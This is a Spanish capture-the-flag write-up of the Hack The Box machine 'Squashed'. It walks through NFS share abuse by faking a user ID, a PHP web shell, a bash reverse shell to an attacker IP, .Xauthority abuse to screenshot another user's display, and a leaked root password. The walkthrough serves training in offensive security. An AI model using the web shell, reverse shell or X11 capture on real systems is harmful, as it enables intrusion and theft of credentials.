Squashed - Hack The Box

Introducción

En esta maquina se toca estos temas: Abusar de los propietarios asignados a los recursos compartidos de NFS mediante la creación de nuevos usuarios en el sistema (Obtener acceso a la raíz web). Creación de un shell web para obtener acceso al sistema. Abuso del archivo .Xauthority (Pentesting X11). Tomar una captura de pantalla de la pantalla de otro usuario.

Reconocimiento de Puertos 🔍

Como siempre antes de escanear los puertos con Nmap le hacemos un ping a la maquina victima para ver si esta viva y nos responde.

En este caso nos responde y me arroja una TTL de 63, por lo que acercarse a 64, me enfrento a una maquina Linux .

TTL Sistema Operativo
64 Linux

Una vez que ya me comunique con la maquina y extraje el dato que es se trata de una maquina Linux, procedo a desplegar la herramienta Nmap.

# Primer con nmap  para sacar los puertos abiertos de la máquina
--------------------------------------------------------------
nmap -p- -n --open -sV --min-rate 5000 -vvv -n -Pn 10.10.11.191 

# Segundo escaneo con los scripts default de nmap y tambien sacamos  la Versión y Servicio que tiran los puertos escaneados anteriormente 
--------------------------------------------------------------
nmap -sC -sV -p22,80,111,2049,39033 10.10.11.191

Puerto 2049

Por lo que veo, obtengo esta información y me doy cuenta que hay petisiones nfs en el Puerto 2049, al ser mi primera maquina de HackTheBox , acudo a HackTricks para saber sobre NFS.

# Primero hay que avriguar  que carpetas tiene el servidor disponibles para montar, lo averiguamos con este comando
--------------------------------------------------------------------------------
showmount -e <IP>

Obtengo estos dos directorios:

/home/ross /var/www/html

Y para montar estos dos directorios, me creo dos directorios llamados /mnt/ross y /mnt/web_server en el directorio /mnt y luego los monto.

# Creo los directorios
----------------------
sudo mkdir /mnt/ross
sudo mkdir /mnt/web_server
# Monto los directorios en cada carpeta
sudo mount 10.10.11.191:/home/ross /mnt/ross
sudo mount 10.10.11.191:/var/www/html /mnt/web_server

Una vez que hecho esto, listo los directorios a ver que encuentro…

Veo que existe un archivo Passwords.kdbx que básicamente su extension .kdbx indica que es la base de datos que usa keepass para almacenar las contraseñas, tambien se ve que en directorio ./we_server no despliega nada, voy a ver si puedo acceder a el…

Ok no tengo acceso a el, voy a ver que usuario tiene acceso el directorio.

Ok pensando un poco podria burlar el user1 creando uno en mi maquina.

Como estoy en el directorio del servidor web y veo el archivo index.html , probare intentar cargar un archivo .php para poder poder ejecutar cualquier comando en la URL.

# Script php
----------------------
<?php   
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Una ves ejecutado este script puedo ejecutar cualquier comando en la URL

Entonces puedo crear una Reverse Shell, pero antes me pongo en escucha con el puerto 1337 (en mi caso)

# Reverse Shell, encodear co el signo % al signo &
----------------------
bash -c "bash -i >%26 /dev/tcp/<IP ATACANTE>/1337 0>%261"

Antes de continuar actualizo la tty.

> script /dev/null -c bash
--------------------------
> Ctrl+z
--------------------------
> stty raw -echo; fg 
        reset xterm
--------------------------
export TERM=xterm
export SHELL=bash

Escalada de Privilegios .Xauthority ☣️

Para conseguir la escalada de privilegios sigo estos pasos:

  • Primero me creo otro usuario para tener acceso al archivo .Xauthority.

  • Pero no tegno acceso al archivo.

  • Monto un servidor http con python3 en el puerto 8080 en el usuario que me cree hace un momento.
# Servidor python3 
------------------
python3 -m http.server 8080

No lo puedo leer, entonces saco un screenshot a la seccion keepas abierta del usuario.

# Ejecuto el comando sacado de HakcTricks y lo guardo como archivo screenshot.xwd
------------------
xwd -root -screen -silent -display :0 > screenshot.xwd

Lo siguiente que hago es migrar a mi usuario de Kali para ponerme en escucha en el puerto 443, haci enviarme el archivo screenshot.xwd, dicho archivo se encuentra en el usuario alex.

# Covierto el archivo .xwd a .png (esto comando se encuentra en HackTricks, el enlace anteriormente mencionado)
------------------
convert screenshot.xwd screenshot.png

Abro el screenshot y listo ahi se ve la password.

Por ultimo me dirijo al usuario alex y con las password cah$mei7rai9A para comvertirme en usuario root.

Ya tenemos acceso a la Flag.